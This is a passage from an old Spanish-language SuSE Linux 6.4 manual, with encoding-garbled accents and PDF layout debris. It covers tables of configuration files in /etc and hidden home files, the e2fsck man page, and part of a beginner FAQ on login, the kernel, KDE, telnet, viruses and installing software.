  32945.                            D.2        Ficheros de configuraci≤n en /etc
  32946.  
  32947.  
  32948.                             _______________________________________________________________________________________________________*
  32949.  *_________
  32950.  
  32951.                               /etc/                                Indicaciones  sobre  la  versi≤n  de  SuSE     Linux
  32952.                               SuSE-release                         instalada.
  32953.                               /etc/rc.config                       Fichero de configuraci≤n central; YaST  lo gen-
  32954.                                                                    era y los scripts de arranque tal como SuSEcon-
  32955.                                                                    fig lo eval·an.
  32956.                               /etc/rc.config.d                     Directorio  que  contiene  ficheros  adicionales
  32957.                                                                    con variables de rc.config.
  32958.                               /etc/inittab                         Fichero de configuraci≤n para el proceso init    .
  32959.                               /etc/lilo.conf                       Configuraci≤n del LILO
  32960.                               /etc/modules.conf                    Configuraci≤n de los m≤dulos del kernel
  32961.                               /etc/DIR_COLORS                      Definici≤n de colores para ls
  32962.                               /etc/XF86Config                      Configuraci≤n del sistema X Window.
  32963.                               /etc/fstab                           Tabla con los sistemas de fichero que se montan
  32964.                                                                    automßticamente durante el arranque.
  32965.                               /etc/profile                         Script de ''login'' de las shells (sh , bash , etc.)
  32966.                               /etc/csh.login                       Script de ''login'' de tcsh
  32967.                               /etc/csh.cshrc                       Configuraci≤n por defecto de tcsh
  32968.                               /etc/profile.d                       Directorio         con         extensiones         para
  32969.                                                                    /etc/profile y /etc/csh.cshrc
  32970.                               /etc/passwd                          Informaci≤n   sobre   usuarios:     Nombres   de
  32971.                                                                    usuario,   directorio-home,   shell   de   ''login'',
  32972.                                                                    n·mero de usuario
  32973.                               /etc/shadow                          Contrase±as
  32974.                               /etc/group                           Grupos de usuarios
  32975.                               /etc/printcap                        Descripci≤n de las impresoras a disposici≤n. Lo
  32976.                                                                    usa el daemon de impresi≤n lpd, ver en la pßgi-
  32977.                                                                    na 325Impresoraschapter.12
  32978.  
  32979.                             _______________________________________________________________________________________________________*
  32980.  *_________
  32981.  
  32982.                                                   Tabla D.9: Contin·a en la pßgina siguiente ...
  32983.  
  32984. 516
  32985.        _________________________________________________________D.3.__Ficheros_de_configuraci≤n_ocultos_en_/home___________________*
  32986.  *______________________
  32987.  
  32988.        ______________________________________________________________________________________________________________________
  32989.  
  32990.  
  32991.    /etc/hosts                           Asignaci≤n   de   nombres   de   computadora   a
  32992.                                         n·meros IP (necesario cuando no hay un servi-
  32993.                                         dor de nombres).
  32994.    /etc/inetd.conf                      Control sobre los servicios IP a disposici≤n (tel-
  32995.                                         net , finger , ftp etc.).
  32996.    /etc/syslogd.conf                    Fichero de configuraci≤n para el daemon ''sys-
  32997.                                         logd'', cuya tarea es la de protocolizar determi-
  32998.                                         nados mensajes del sistema.
  32999.  
  33000.        ______________________________________________________________________________________________________________________
  33001.  
  33002.                        Tabla D.9: Ficheros de configuraci≤n en /etc
  33003. D.3        Ficheros de configuraci≤n ocultos en /home
  33004.  
  33005. En el directorio home de cada usuario hay muchos ficheros de configuraci≤n
  33006. que por razones prßcticas se ocultan y porque se han de modificar en raras
  33007. ocasiones.  Un fichero se convierte en oculto anteponiendo un punto al nom-
  33008. bre. Estos ficheros se visualizan usando el comando ls  -a    . En la tabla D.10
  33009. hay algunos ejemplos.
  33010.  
  33011.        ______________________________________________________________________________________________________________________
  33012.  
  33013.    .profile                     script de ''login'' privado del usuario usando bash co-
  33014.                                 mo shell
  33015.    .bashrc                      configuraci≤n de la bash
  33016.    .exrc                        configuraci≤n de vi, ex
  33017.    .xinitrc                     script de inicio del sistema X Window.
  33018.    .fvwmrc                      configuraci≤n del fvwm-windowmanager
  33019.    .ctwmrc                      configuraci≤n del ctwm-windowmanager
  33020.    .openwin-menu                configuraci≤n  de  los  windowmanager  olvwm  y  ol-
  33021.                                 wm
  33022.  
  33023.        ______________________________________________________________________________________________________________________
  33024.  
  33025.                 Tabla D.10: ficheros ocultos en el directorio de usuario
  33026. Al crear un usuario nuevo estos ficheros se copian desde el directorio /etc/
  33027. skel.
  33028.  
  33029.  
  33030.  
  33031.                                                                                                                                    *
  33032.  *   517
  33033. D.  Ficheros importantes___________________________________________________________________________________________________________*
  33034.  *_______________________________________@
  33035.  
  33036. 518
  33037.  
  33038.                                                                                                       ApΘndice  E
  33039.                                                   Manual-Page   de   e2fsck
  33040.        ||||||||                                                                                                                |
  33041.        ||||||||                                                                                                                |
  33042.        ||||||||                                                                                                                |
  33043.        _______________________________________________________________________________________________________________________||||
  33044.        ||||||||                                                                                                                |
  33045.        ||||||||                                                                                                                |
  33046.        ||||||||          E2FSCK(8)                                                                         E2FSCK(8)           |
  33047.        ||||||||                                                                                                                |
  33048.        ||||||||                                                                                                                |
  33049.        ||||||||          NAME                                                                                                  |
  33050.        ||||||||                                                                                                                |
  33051.        ||||||||                     e2fsck  -  check  a  Linux  second  extended  file  system                                 |
  33052.        ||||||||                                                                                                                |
  33053.        ||||||||          SYNOPSIS                                                                                              |
  33054.        ||||||||                     e2fsck   [   -pacnyrdfvstFSV  ]  [  -b  superblock  ]  [  -B  block-                       |
  33055.        ||||||||                                                                                                                |
  33056.        ||||||||                     size  ]  [  -l|-L  bad_blocks_file  ]  device                                              |
  33057.        ||||||||                                                                                                                |
  33058.        ||||||||          DESCRIPTION                                                                                           |
  33059.        ||||||||                     e2fsck  is  used  to  check  a  Linux  second  extended  file                              |
  33060.        ||||||||                                                                                                                |
  33061.        ||||||||                     system.                                                                                    |
  33062.        ||||||||                                                                                                                |
  33063.        ||||||||                     device  is   the   special   file   corresponding  to  the  device                         |
  33064.        ||||||||                                (e.g  /dev/hdXX).                                                               |
  33065.        ||||||||                                                                                                                |
  33066.        ||||||||                                                                                                                |
  33067.        ||||||||          OPTIONS                                                                                               |
  33068.        ||||||||                     -a        This  option  does  the  same  thing  as  the   -p   option.                     |
  33069.        ||||||||                                It  is  provided  for  backwards  compatibility  only;  it                      |
  33070.        ||||||||                                                                                                                |
  33071.        ||||||||                                is  suggested  that  people  use  -p  option  whenever                          |
  33072.        ||||||||                                possible.                                                                       |
  33073.        ||||||||                                                                                                                |
  33074.        ||||||||                     -b  superblock                                                                             |
  33075.        ||||||||                                                                                                                |
  33076.        ||||||||                                Instead   of   using   the   normal  superblock,  use  the                      |
  33077.        ||||||||                                alternative  superblock  specified  by  superblock.                             |
  33078.        ||||||||                                                                                                                |
  33079.        ||||||||                                                                                                                |
  33080.        ||||||||                     -B  blocksize                                                                              |
  33081.        ||||||||                                Normally,  e2fsck  will  search  for  the  superblock   at                      |
  33082.        ||||||||                                various  different  block  sizes  in  an  attempt  to  find                     |
  33083.        ||||||||                                the  appropriate  block  size.     This   search   can   be                     |
  33084.        ||||||||                                                                                                                |
  33085.        ||||||||                                fooled  in  some  cases.   This  option  forces  e2fsck  to                     |
  33086.        ||||||||                                only  try  locating  the  superblock   at   a   particular                      |
  33087.        ||||||||                                blocksize.     If  the  superblock  is  not  found,  e2fsck                     |
  33088.        ||||||||                                will  terminate  with  a  fatal  error.                                         |
  33089.        ||||||||                                                                                                                |
  33090.        ||||||||                                                                                                                |
  33091.        ||||||||                     -c        This  option  causes  e2fsck  to  run   the   badblocks(8)                       |
  33092.        ||||||||                                program   to   find   any   blocks  which  are  bad  on  the                    |
  33093.        ||||||||                                                                                                                |
  33094.        ||||||||                                                                                                                |
  33095.        ||||||||_______________________________________________________________________________________________________________ |
  33096.  
  33097.  
  33098. ~ Contin·a en la pßgina siguiente
  33099.  
  33100.  
  33101.                                                                                                                                    *
  33102.  *   519
  33103.                            |                                                                                                       *
  33104.  *         |
  33105.                            |                                                                                                       *
  33106.  *         |
  33107.                            |                                                                                                       *
  33108.  *         |
  33109. E.  Manual-Page de_e2fsck__________________________________________________________________________________________________________*
  33110.  *_______________________________________@
  33111.  
  33112.                            ________________________________________________________________________________________________________*
  33113.  *________||||
  33114.                            |                                                                                                       *
  33115.  *         |
  33116.  
  33117.                            ||                               filesystem,  and  then  marks  them  as   bad   by   adding            *
  33118.  *         ||
  33119.                            |                                them  to  the  bad  block  inode.                                      *
  33120.  *         |
  33121.                            |                                                                                                       *
  33122.  *         |
  33123.                            |                     -d        Print   debugging   output   (useless   unless   you  are               *
  33124.  *         |
  33125.                            |                                                                                                       *
  33126.  *         |
  33127.                            |                                debugging  e2fsck  ).                                                  *
  33128.  *         |
  33129.                            |                                                                                                       *
  33130.  *         |
  33131.                            |                     -f        Force  checking  even  if  the  file  system  seems  clean.             *
  33132.  *         |
  33133.                            |                                                                                                       *
  33134.  *         |
  33135.                            |                                                                                                       *
  33136.  *         |
  33137.                            |                     -F        Flush   the  filesystem  device's  buffer  caches  before               *
  33138.  *         |
  33139.                            |                                beginning.   Only  really   useful   for   doing   e2fsck              *
  33140.  *         |
  33141.                            |                                time  trials.                                                          *
  33142.  *         |
  33143.                            |                                                                                                       *
  33144.  *         |
  33145.                            |                                                                                                       *
  33146.  *         |
  33147.                            |                     -l  filename                                                                      *
  33148.  *         |
  33149.                            |                                Add   the   blocks   listed   in   the  file  specified  by            *
  33150.  *         |
  33151.                            |                                filename  to  the  list  of  bad  blocks.                              *
  33152.  *         |
  33153.                            |                                                                                                       *
  33154.  *         |
  33155.                            |                                                                                                       *
  33156.  *         |
  33157.                            |                     -L  filename                                                                      *
  33158.  *         |
  33159.                            |                                Set  the  bad  blocks  list  to  be  the   list   of   blocks          *
  33160.  *         |
  33161.                            |                                specified  by  filename.   (This  option  is  the  same  as            *
  33162.  *         |
  33163.                            |                                                                                                       *
  33164.  *         |
  33165.                            |                                the  -l   option,   except   the   bad   blocks   list   is            *
  33166.  *         |
  33167.                            |                                cleared   before   the   blocks  listed  in  the  file  are            *
  33168.  *         |
  33169.                            |                                added  to  the  bad  blocks  list.)                                    *
  33170.  *         |
  33171.                            |                                                                                                       *
  33172.  *         |
  33173.                            |                                                                                                       *
  33174.  *         |
  33175.                            |                     -n        Open  the  filesystem  read-only,  and  assume  an  answer              *
  33176.  *         |
  33177.                            |                                of   ``no''   to   all  questions.   Allows  e2fsck  to  be            *
  33178.  *         |
  33179.                            |                                used  non-interactively.   (Note:  if  the  -c,   -l,   or             *
  33180.  *         |
  33181.                            |                                -L   options   are   specified   in   addition  to  the  -n            *
  33182.  *         |
  33183.                            |                                                                                                       *
  33184.  *         |
  33185.                            |                                option,  then  the  filesystem  will   be   opened   read-             *
  33186.  *         |
  33187.                            |                                write,  to  permit  the  bad-blocks  list  to  be  updated.            *
  33188.  *         |
  33189.                            |                                However,  no  other   changes   will   be   made   to   the            *
  33190.  *         |
  33191.                            |                                filesystem.)                                                           *
  33192.  *         |
  33193.                            |                                                                                                       *
  33194.  *         |
  33195.                            |                                                                                                       *
  33196.  *         |
  33197.                            |                     -p        Automatically   repair   ("preen")   the   file   system                *
  33198.  *         |
  33199.                            |                                without  any  questions.                                               *
  33200.  *         |
  33201.                            |                                                                                                       *
  33202.  *         |
  33203.                            |                                                                                                       *
  33204.  *         |
  33205.                            |                     -r        This  option  does  nothing  at   all;   it   is   provided             *
  33206.  *         |
  33207.                            |                                only  for  backwards  compatibility.                                   *
  33208.  *         |
  33209.                            |                                                                                                       *
  33210.  *         |
  33211.                            |                                -s   This   option   will   byte-swap  the  filesystem  so             *
  33212.  *         |
  33213.                            |                                                                                                       *
  33214.  *         |
  33215.                            |                                that  it  is  using   the   normalized,   standard   byte-             *
  33216.  *         |
  33217.                            |                                order   (which   is   i386   or  little  endian).   If  the            *
  33218.  *         |
  33219.                            |                                filesystem  is  already  in  the   standard   byte-order,              *
  33220.  *         |
  33221.                            |                                e2fsck  will  take  no  action.                                        *
  33222.  *         |
  33223.                            |                                                                                                       *
  33224.  *         |
  33225.                            |                                                                                                       *
  33226.  *         |
  33227.                            |                     -S        This   option  will  byte-swap  the  filesystem,  regard-               *
  33228.  *         |
  33229.                            |                                less  of  its  current  byte-order.                                    *
  33230.  *         |
  33231.                            |                                                                                                       *
  33232.  *         |
  33233.                            |                                                                                                       *
  33234.  *         |
  33235.                            |                     -t        Print  timing  statistics  for  e2fsck.   If  this  option              *
  33236.  *         |
  33237.                            |                                is   used   twice,   additional   timing  statistics  are              *
  33238.  *         |
  33239.                            |                                printed  on  a  pass  by  pass  basis.                                 *
  33240.  *         |
  33241.                            |                                                                                                       *
  33242.  *         |
  33243.                            |                                                                                                       *
  33244.  *         |
  33245.                            |                     -v        Verbose  mode.                                                          *
  33246.  *         |
  33247.                            |                                                                                                       *
  33248.  *         |
  33249.                            |                     -V        Print  version  information  and  exit.                                 *
  33250.  *         |
  33251.                            |                                                                                                       *
  33252.  *         |
  33253.                            |                                                                                                       *
  33254.  *         |
  33255.                            |_______________________________________________________________________________________________________*
  33256.  *________ |
  33257.                            ~ Contin·a en la pßgina siguiente
  33258.  
  33259.  
  33260. 520
  33261. ||||||||                                                                                                                |
  33262. ||||||||                                                                                                                |
  33263. ||||||||                                                                                                                |
  33264. ___________________________________________________________________________________________E.__Manual-Page_de_e2fsck_______________*
  33265.  *_______________||||
  33266.  
  33267. _______________________________________________________________________________________________________________________||||
  33268. ||||||||                                                                                                                |
  33269. |||||||||                                                                                                               ||
  33270. ||||||||                     -y        Assume  an   answer   of   ``yes''   to   all   questions;                       |
  33271. ||||||||                                allows  e2fsck  to  be  used  non-interactively.                                |
  33272. ||||||||                                                                                                                |
  33273. ||||||||          EXIT  CODE                                                                                            |
  33274. ||||||||                                                                                                                |
  33275. ||||||||                     The  exit  code  returned  by  e2fsck  is  the  sum  of  the                               |
  33276. ||||||||                     following  conditions:                                                                     |
  33277. ||||||||                             0      -  No  errors                                                               |
  33278. ||||||||                             1      -  File  system  errors  corrected                                          |
  33279. ||||||||                                                                                                                |
  33280. ||||||||                             2      -  File  system  errors  corrected,  system  should                         |
  33281. ||||||||                                        be  rebooted  if  file  system  was  mounted                            |
  33282. ||||||||                             4      -  File  system  errors  left  uncorrected                                  |
  33283. ||||||||                             8      -  Operational  error                                                       |
  33284. ||||||||                                                                                                                |
  33285. ||||||||                             16     -  Usage  or  syntax  error                                                 |
  33286. ||||||||                             128   -  Shared  library  error                                                    |
  33287. ||||||||                                                                                                                |
  33288. ||||||||          REPORTING  BUGS                                                                                       |
  33289. ||||||||                                                                                                                |
  33290. ||||||||                     Almost  any  piece  of  software   will  have  bugs.   If   you                            |
  33291. ||||||||                     manage   to  find  a  filesystem  which  causes  e2fsck  to  crash,                        |
  33292. ||||||||                     or  which   e2fsck   is  unable  to  repair,  please  report  it  to                       |
  33293. ||||||||                                                                                                                |
  33294. ||||||||                     the  author.                                                                               |
  33295. ||||||||                                                                                                                |
  33296. ||||||||                     Please  include  as  much  information  as  possible  in  your  bug                        |
  33297. ||||||||                     report.   Ideally,  include  a   complete   transcript   of   the                          |
  33298. ||||||||                                                                                                                |
  33299. ||||||||                     e2fsck   run,   so  I  can  see  exactly  what  error  messages  are                       |
  33300. ||||||||                     displayed.   If  you  have  a  writeable  filesystem   where   the                         |
  33301. ||||||||                     transcript  can  be  stored,  the  script(1)  program  is  a  handy                        |
  33302. ||||||||                     way  to  save  the  output  of  to  a  file.                                               |
  33303. ||||||||                                                                                                                |
  33304. ||||||||                                                                                                                |
  33305. ||||||||                     It  is  also  useful  to  send  the  output  of  dumpe2fs(8).   If  a                      |
  33306. ||||||||                     specific   inode   or   inodes   seems  to  be  giving  e2fsck                             |
  33307. ||||||||                     trouble,  try  running  the  debugfs(8)  command  and  send  the                           |
  33308. ||||||||                                                                                                                |
  33309. ||||||||                     output   of  the  stat  command  run  on  the  relevant  inode(s).                         |
  33310. ||||||||                     If  the  inode  is  a  directory,  the  debugfs   dump   command                           |
  33311. ||||||||                     will  allow  you  to  extract  the  contents  of  the  directory                           |
  33312. ||||||||                     inode,  which  can  sent  to  me  after  being  first  run   through                       |
  33313. ||||||||                                                                                                                |
  33314. ||||||||                     uuencode(1).                                                                               |
  33315. ||||||||                                                                                                                |
  33316. ||||||||                     Always   include   the  full  version  string  which   e2fsck                              |
  33317. ||||||||                     displays  when  it  is  run,  so  I  know  which  version  you  are                        |
  33318. ||||||||                                                                                                                |
  33319. ||||||||                     running.                                                                                   |
  33320. ||||||||                                                                                                                |
  33321. ||||||||          AUTHOR                                                                                                |
  33322. ||||||||                     This   version   of   e2fsck   is   written   by   Theodore   Ts'o                         |
  33323. ||||||||                                                                                                                |
  33324. ||||||||                     <tytso@mit.edu>.                                                                           |
  33325. ||||||||                                                                                                                |
  33326. ||||||||          SEE  ALSO                                                                                             |
  33327. ||||||||                     mke2fs(8),  tune2fs(8),  dumpe2fs(8),  debugfs(8)                                          |
  33328. ||||||||                                                                                                                |
  33329. ||||||||                                                                                                                |
  33330. ||||||||                                                                                                                |
  33331. ||||||||          E2fsprogs  version  1.06        October  1996                                                         |
  33332. ||||||||                                                                                                                |
  33333. ||||||||                                                                                                                |
  33334. ||||||||_______________________________________________________________________________________________________________ |
  33335.                                                                                                                                521
  33336. E.  Manual-Page de_e2fsck__________________________________________________________________________________________________________*
  33337.  *_______________________________________@
  33338.  
  33339. 522
  33340.  
  33341.                                                                                                        ApΘndice  F
  33342.                                                        Las   SuSE                   Linux-FAQ
  33343.  
  33344.  
  33345. En  este  anexo  tratamos  de  responder  a  aquellas  preguntas  que  aparecen
  33346. con  mucha  frecuencia;   las  ''preguntas  frecuentemente  planteadas''  (ingl.
  33347. Frequently  Asked  Questions).   Aunque  el  manual  ya  contiene  la  respuesta
  33348. correcta para la mayorφa de ellas, es posible que una persona que comienza
  33349. con Linux no sepa d≤nde buscar. Por eso en casi todas las respuestas se indica
  33350. como referencia el capφtulo sobre el tema en cuesti≤n.
  33351.  
  33352.  
  33353.  
  33354. Tengo un SuSE      Linux antiguo ~ ┐C≤mo puede actualizar a 6.4?
  33355.  
  33356. Lo mßs fßcil es consultar el capφtulo 15 en la pßgina 393Actualizaci≤n del sis-
  33357. tema ~ Gesti≤n de paqueteschapter.15, que tiene como tema la actualizaci≤n.
  33358.  
  33359.  
  33360.  
  33361. ┐Cußl es el capφtulo mßs importante del manual?
  33362.  
  33363. Para principiantes el capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19,
  33364. pero Θste no reemplaza a un libro sobre Linux! Libros sobre Linux se encuen-
  33365. tran en http://www.suse.de/de/produkte/buecher/index.html.
  33366.  
  33367.  
  33368.  
  33369. DespuΘs de la instalaci≤n me aparece continuamente el mensaje de error
  33370. "login:" ~ ┐Hago algo mal?
  33371.  
  33372. No estß haciendo nada mal, la instalaci≤n ha terminado y es posible entrar al
  33373. sistema con su nombre de usuario (ingl. username) y su contrase±a (efectuar
  33374. un  ''login'');  en  el  primer  instante  solo  existe  el  usuario  `root'  (consultar
  33375. tambiΘn el apartado 19.1 en la pßgina 467Hacer login, `root'-Usuario, in-
  33376. troducci≤n de Usuariosection.19.1 y apartado 3.7.7 en la pßgina 112Admin-
  33377. istraci≤n de usuariossubsection.3.7.7).
  33378.  
  33379.  
  33380.  
  33381. He hecho el ''login'' y solo veo tierra:    #   ~ ┐C≤mo puedo entrar final-
  33382. mente a Linux?
  33383.  
  33384. Ya estß ''en Linux''. Lo que probablemente quiere es iniciar el entorno grßfico
  33385. de usuario.  Para ello debe configurarlo primero (p. ej.  con SaX ) , si a caso
  33386. no lo ha realizado a·n (ver el apartado 2.1.14 en la pßgina 27Preparaci≤n del
  33387. entorno grßficosubsection.2.1.14).  Posteriormente puede iniciar la superficie
  33388. grßfica  (sistema  X  Window)  con  el  comando  startx     .   Proceda  seg·n  las
  33389. indicaciones del capφtulo 8 en la pßgina 237El sistema X Windowchapter.8.
  33390.  
  33391.  
  33392.  
  33393.                                                                                                                                    *
  33394.  *   523
  33395. F.  Las SuSE      Linux-FAQ________________________________________________________________________________________________________*
  33396.  *_______________________________________@
  33397.  
  33398.  
  33399.  
  33400.                            Uso la computadora solo para mφ; por quΘ debo entrar siempre al sistema
  33401.                            con "login"?
  33402.  
  33403.                            Linux es un sistema operativo multiusuario.  Para que Linux sepa quiΘn estß
  33404.                            trabajando es preciso indicarle el nombre de usuario (ingl. username) y de la
  33405.                            contrase±a.  A prop≤sito:  Solo entre al sistema como superusuario `root'
  33406.                            cuando quiera modificar el sistema (instalaci≤n de programas, configuraci≤n,
  33407.                            etc.). Para el uso normal cree un usuario y asφ evitarß ''da±ar'' la instalaci≤n.
  33408.  
  33409.  
  33410.                            ┐Hace falta compilar un kernel propio?
  33411.  
  33412.                            íNo, generalmente no hace falta!
  33413.  
  33414.                            íEl kernel tiene ya tal nivel de complejidad,  que hace falta considerar unas
  33415.                            800 opciones en la configuraci≤n del mismo!  Es muy difφcil dominar y lle-
  33416.                            gar a conocer todas las configuraciones y sus respectivas consecuencias, por
  33417.                            lo que aconsejamos,  especialmente a los usuarios poco experimentados,  no
  33418.                            compilar su propio kernel. Sin embargo, si se quiere aventurar, hßgalo a pro-
  33419.                            pio riesgo ~ íEn tal caso no le podemos prestar soporte de instalaci≤n!
  33420.  
  33421.  
  33422.                            ┐Pero no hace falta compilar un kernel propio para el soporte de tarjetas
  33423.                            de sonido?
  33424.  
  33425.                            No,  desde  la  versi≤n  2.2.xx  del  kernel  esto  ya  no  es  necesario.   Proceda
  33426.                            del  modo  que  se  explica  en  el  apartado  10.3  en  la  pßgina  290Tarjetas  de
  33427.                            sonidosection.10.3.
  33428.  
  33429.  
  33430.                            ┐D≤nde se puede encontrar informaci≤n sobre SuSE      Linux?
  33431.  
  33432.                            En primer lugar por medio del manual, especialmente respecto a la instalaci≤n
  33433.                            y a sus particularidades.  En /usr/doc/packages se puede encontrar docu-
  33434.                            mentaci≤n sobre los programas.  Las instrucciones generales tienen la forma
  33435.                            de ''HowTos'' (los ''C≤mo's'' en castellano) y se encuentran en el directorio
  33436.                            /usr/doc/howto/en (en inglΘs) o en /usr/doc/howto/es en castellano.
  33437.                            Se puede leer la documentaci≤n por ejemplo con el comando:
  33438.  
  33439.                            less  /usr/doc/howto/es/Dos-a-Linux-Como.gz
  33440.  
  33441.                            En  el  KDE  tambiΘn  se  pueden  leer  estos  ficheros  con  el  administrador  de
  33442.                            ficheros kfm   .  Se seleccionan sencillamente con un click del mouse y cuando
  33443.                            aparece la pregunta "Abrir  con:" ("Open  with:") se introduce kedit     .
  33444.  
  33445.  
  33446.                            ┐D≤nde se pueden conseguir consejos especiales y ayuda en general?
  33447.  
  33448.                            Introduzca  en  un  xterm     el  comando  help   .   En  seguida  se  inicia  Netscape
  33449.                            mostrando el banco de datos de soporte. En Internet se encuentra nuestro ban-
  33450.                            co de datos de soporte bajo http://www.suse.de/sdb/de/html/index.
  33451.                            html.  Introduzca la palabra buscada y contin·e o retroceda seg·n la ''Histo-
  33452.                            ry''.
  33453.  
  33454.  
  33455.                            ┐C≤mo se pueden introducir comandos en KDE?
  33456.  
  33457.                            Pulsando_`K' ~ `Utilities' ~ `Terminal'. TambiΘn se puede pulsar |_____A|lt
  33458.                            +  |___F|2e  introducir  xterm    .   Asφ  aparecerß  un  terminal  (err≤neamente  se  le
  33459.                            denomina a veces ''Ventana DOS'') para introducir comandos.
  33460.  
  33461.  
  33462. 524
  33463.        ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
  33464.  *______________________
  33465.  
  33466.  
  33467.  
  33468. Hay muchos programas que no se encuentran en KDE.
  33469.  
  33470. TambiΘn se pueden iniciar todos los programas desde la ventana de un ter-
  33471. minal (xterm     , ver arriba), introduciendo el nombre del programa seguido de
  33472.  _-    |||||||||__.
  33473.  
  33474.  
  33475.  
  33476. No puedo entrar a mi computadora vφa telnet      .  Siempre me aparece la
  33477. respuesta "Login  incorrect".
  33478.  
  33479. Probablemente estß intentando entrar al sistema como superusuario `root',
  33480. lo cual no es posible con telnet  por razones de seguridad.
  33481.  
  33482. Genere  con  YaST  un  usuario  normal  (ver  el  apartado  3.7.7  en  la  pßgi-
  33483. na  112Administraci≤n  de  usuariossubsection.3.7.7)  para  entrar  con  Θste  y
  33484. cambiar  posteriormente  con  su   al  superusuario  `root'.    Es  mucho  mßs
  33485. seguro  emplear  el  programa  ssh  en  lugar  de  telnet  ya  que  ssh  establece
  33486. conexiones codificadas. La ''secure shell'' se encuentra en la serie sec.
  33487.  
  33488.  
  33489.  
  33490. ┐C≤mo acceder a Internet con Linux?
  33491.  
  33492. El  manual  lo  explica  en  el  capφtulo  5.3  en  la  pßgina  171Configuraci≤n  y
  33493. usochapter.6.
  33494.  
  33495.  
  33496.  
  33497. ┐Hay que temer los ataques de virus bajo Linux?
  33498.  
  33499. No.
  33500.  
  33501. Bajo  Linux  no  existe  ninguna  amenaza  seria  de  virus  (ver  en  la  pßgi-
  33502. na  454Virus  y  caballos  de  TroyaHfootnote.80).   Mientras  no  se  lance  un
  33503. virus como superusuario, Θste no podrß provocar grandes da±os que pongan
  33504. en peligro la integridad del sistema. Los escßneres de virus para Linux sirven
  33505. solamente  para  rastrear  E-Mails  por  virus  de  Windows  (en  el  caso  que  la
  33506. mßquina con Linux sea un enrutador).
  33507.  
  33508.  
  33509.  
  33510. ┐D≤nde aparecen los mensajes de sistema?
  33511.  
  33512. En una ventana de terminal introduzca como superusuario `root' el sigu-
  33513. iente comando:
  33514.  
  33515.       tierra:  #  tail  -f  /var/log/messages
  33516.  
  33517. En este aspecto hay otros programas interesantes como son:  top  , procinfo
  33518. y xosview       .
  33519.  
  33520. Los mensajes durante el proceso de arranque se ven con
  33521.  
  33522.       tierra:  #  cat  /var/log/boot.msg
  33523.  
  33524.  
  33525.  
  33526. ┐D≤nde se encuentra StarOffice?
  33527.  
  33528. StarOffice se encuentra en la serie pay como paquete so_es.  Para instalarlo
  33529. use YaST , que le indica cußl CD se debe introducir en el lector de CDs.
  33530.  
  33531.  
  33532.  
  33533.                                                                                                                                    *
  33534.  *   525
  33535. F.  Las SuSE      Linux-FAQ________________________________________________________________________________________________________*
  33536.  *_______________________________________@
  33537.  
  33538.  
  33539.  
  33540.                            ┐Durante la instalaci≤n StarOffice pide una clave (Mediakey), d≤nde se
  33541.                            encuentra Θsta?
  33542.  
  33543.                            Desde SuSE      Linux 6.1 el c≤digo de registro y la ''Mediakey'' se encuentran
  33544.                            impresos  en  el  manual.   Encontrarß  los  c≤digos  en  la  primera  pßgina  del
  33545.                            manual impreso sobre un papel grueso. . .
  33546.  
  33547.  
  33548.                            EncontrΘ un error en SuSE      Linux. ┐A quiΘn se lo puedo comunicar?
  33549.  
  33550.                            Cerci≤rese de que realmente se trate de un error de un programa y no de un
  33551.                            fallo  de  uso  o  de  configuraci≤n.   Lea  tambiΘn  la  documentaci≤n  en  /usr/
  33552.                            doc/packages y /usr/doc/howto.  Tal vez el error ya ha sido reconocido
  33553.                            y encontrarß algo en nuestro banco de datos de soporte bajo http://www.
  33554.                            suse.de/sdb/de/html/index.html.  Introduzca una palabra clave y con-
  33555.                            tin·e o retroceda seg·n la ''History''.
  33556.  
  33557.                            Si  realmente  resulta  ser  un  error,  envφe  una  descripci≤n  vφa  E-Mail  a  feed-
  33558.                            back@suse.de indicando en todo caso su c≤digo de registro.
  33559.  
  33560.  
  33561.                            ┐C≤mo se puede acceder a un CD-ROM?
  33562.  
  33563.                            Primero se debe montar el CD. Consulte en el manual el apartado 19.11.2 en
  33564.                            la pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2.
  33565.  
  33566.  
  33567.                            ┐El CD ya no sale del lector, quΘ puedo hacer?
  33568.  
  33569.                            Primero se debe desmontar el CD. Consulte en el manual el apartado 19.11.2
  33570.                            en la pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2.
  33571.                            Si estß ejecutando YaST , termφnelo primero.
  33572.  
  33573.  
  33574.                            ┐C≤mo se puede conocer el espacio libre en el disco?
  33575.  
  33576.                            Con el comando df  -h    ; ver tambiΘn el capφtulo 19 en la pßgina 467Introduc-
  33577.                            ci≤n a Linuxchapter.19.
  33578.  
  33579.  
  33580.                            ┐Es posible hacer ''Copiar & Pegar'' en Linux?
  33581.  
  33582.                            Si.
  33583.  
  33584.                            Para  usar  ''Copiar  &  Pegar''  en  modo  texto,  el  programa  gpm  debe  estar
  33585.                            iniciado.   El  funcionamiento  en  el  sistema  X  Window  y  en  modo  texto  es:
  33586.                            Marcar apretando el bot≤n izquierdo del mouse y moviΘndolo, Pegar con el
  33587.                            bot≤n del medio. La tecla derecha del mouse tiene normalmente una funci≤n
  33588.                            especial.   Si  su  mouse  no  tiene  una  tercera  tecla,  apriete  las  dos  al  mismo
  33589.                            instante.
  33590.  
  33591.  
  33592.                            ┐C≤mo puedo instalar programas?
  33593.  
  33594.                            Los programas que forman parte de los SuSE     Linux CDs se instalan preferi-
  33595.                            blemente con YaST . Muchos programas grandes y sofisticados (versiones de
  33596.                            demostraci≤n) se encuentran en la serie pay.
  33597.  
  33598.  
  33599.  
  33600. 526
  33601.        ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
  33602.  *______________________
  33603.  
  33604.  
  33605.  
  33606. Hay un programa del cual ''solo'' tengo el c≤digo fuente. C≤mo lo puedo
  33607. instalar?
  33608.  
  33609. En el caso de algunos programas se necesita un cierto grado de conocimien-
  33610. to.    La  mejor  forma  para  adquirirlo  es  un  buen  libro  sobre  Linux~  ver
  33611. http://www.suse.de/buecher/. En breve: Desempaquetar el archivo con
  33612. tar  xvzf  nombre.tar.gz                   ,  leer  INSTALL  o  README  y  seguir  las  instruc-
  33613. ciones. Normalmente los comandos son: ./configure;make;make  install                          .
  33614. Consulte tambiΘn los consejos adicionales sobre la administraci≤n de paque-
  33615. tes en el apartado 15.3 en la pßgina 405RPM ~ El gestor de paquetessection.15.3.
  33616.  
  33617. No podemos prestar soporte de instalaci≤n sobre temas relacionados con pro-
  33618. gramas que Usted mismo compila.
  33619.  
  33620.  
  33621.  
  33622. Necesito  cortafuegos,  Masquerading  (enmascarar),  servidor  de  correo
